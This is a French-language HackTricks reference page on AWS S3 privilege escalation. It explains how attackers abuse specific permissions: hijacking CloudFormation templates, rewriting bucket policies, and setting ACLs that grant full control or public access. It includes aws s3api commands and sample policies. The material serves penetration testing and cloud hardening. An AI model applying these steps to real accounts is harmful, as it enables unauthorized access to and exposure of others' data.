AWS - S3 Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un attaquant disposant de ces autorisations sur des buckets intéressants pourrait être en mesure de détourner des ressources et d'escalader des privilèges.

Par exemple, un attaquant avec ces autorisations sur un bucket cloudformation appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être donné avec la politique suivante :

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

Et la prise de contrôle est possible car il y a une petite fenêtre de temps à partir du moment où le modèle est téléversé dans le compartiment jusqu'au moment où le modèle est déployé. Un attaquant pourrait simplement créer une fonction lambda dans son compte qui se déclenchera lorsqu'une notification de compartiment est envoyée, et prendra le contrôle du contenu de ce compartiment.

Le module Pacu cfn__resouce_injection peut être utilisé pour automatiser cette attaque. Pour plus d'informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Ce sont les autorisations pour obtenir et téléverser des objets dans S3. Plusieurs services à l'intérieur d'AWS (et à l'extérieur) utilisent le stockage S3 pour stocker des fichiers de configuration. Un attaquant avec un accès en lecture pourrait trouver des informations sensibles. Un attaquant avec un accès en écriture pourrait modifier les données pour abuser d'un service et tenter d'escalader les privilèges. Voici quelques exemples :

  • Si une instance EC2 stocke les données utilisateur dans un compartiment S3, un attaquant pourrait le modifier pour exécuter du code arbitraire à l'intérieur de l'instance EC2.

s3:PutBucketPolicy

Un attaquant, devant être du même compte, sinon l'erreur La méthode spécifiée n'est pas autorisée sera déclenchée, avec cette autorisation pourra se donner plus de permissions sur le(s) compartiment(s) lui permettant de lire, écrire, modifier, supprimer et exposer des compartiments.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un attaquant pourrait abuser de ces autorisations pour lui accorder plus d'accès sur des buckets spécifiques. Notez que l'attaquant n'a pas besoin d'être du même compte. De plus, l'accès en écriture.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attaquant pourrait abuser de ces autorisations pour lui accorder un accès plus étendu à des objets spécifiques à l'intérieur des seaux.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Un attaquant avec ces privilèges est censé pouvoir mettre un Acl sur une version spécifique d'objet

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour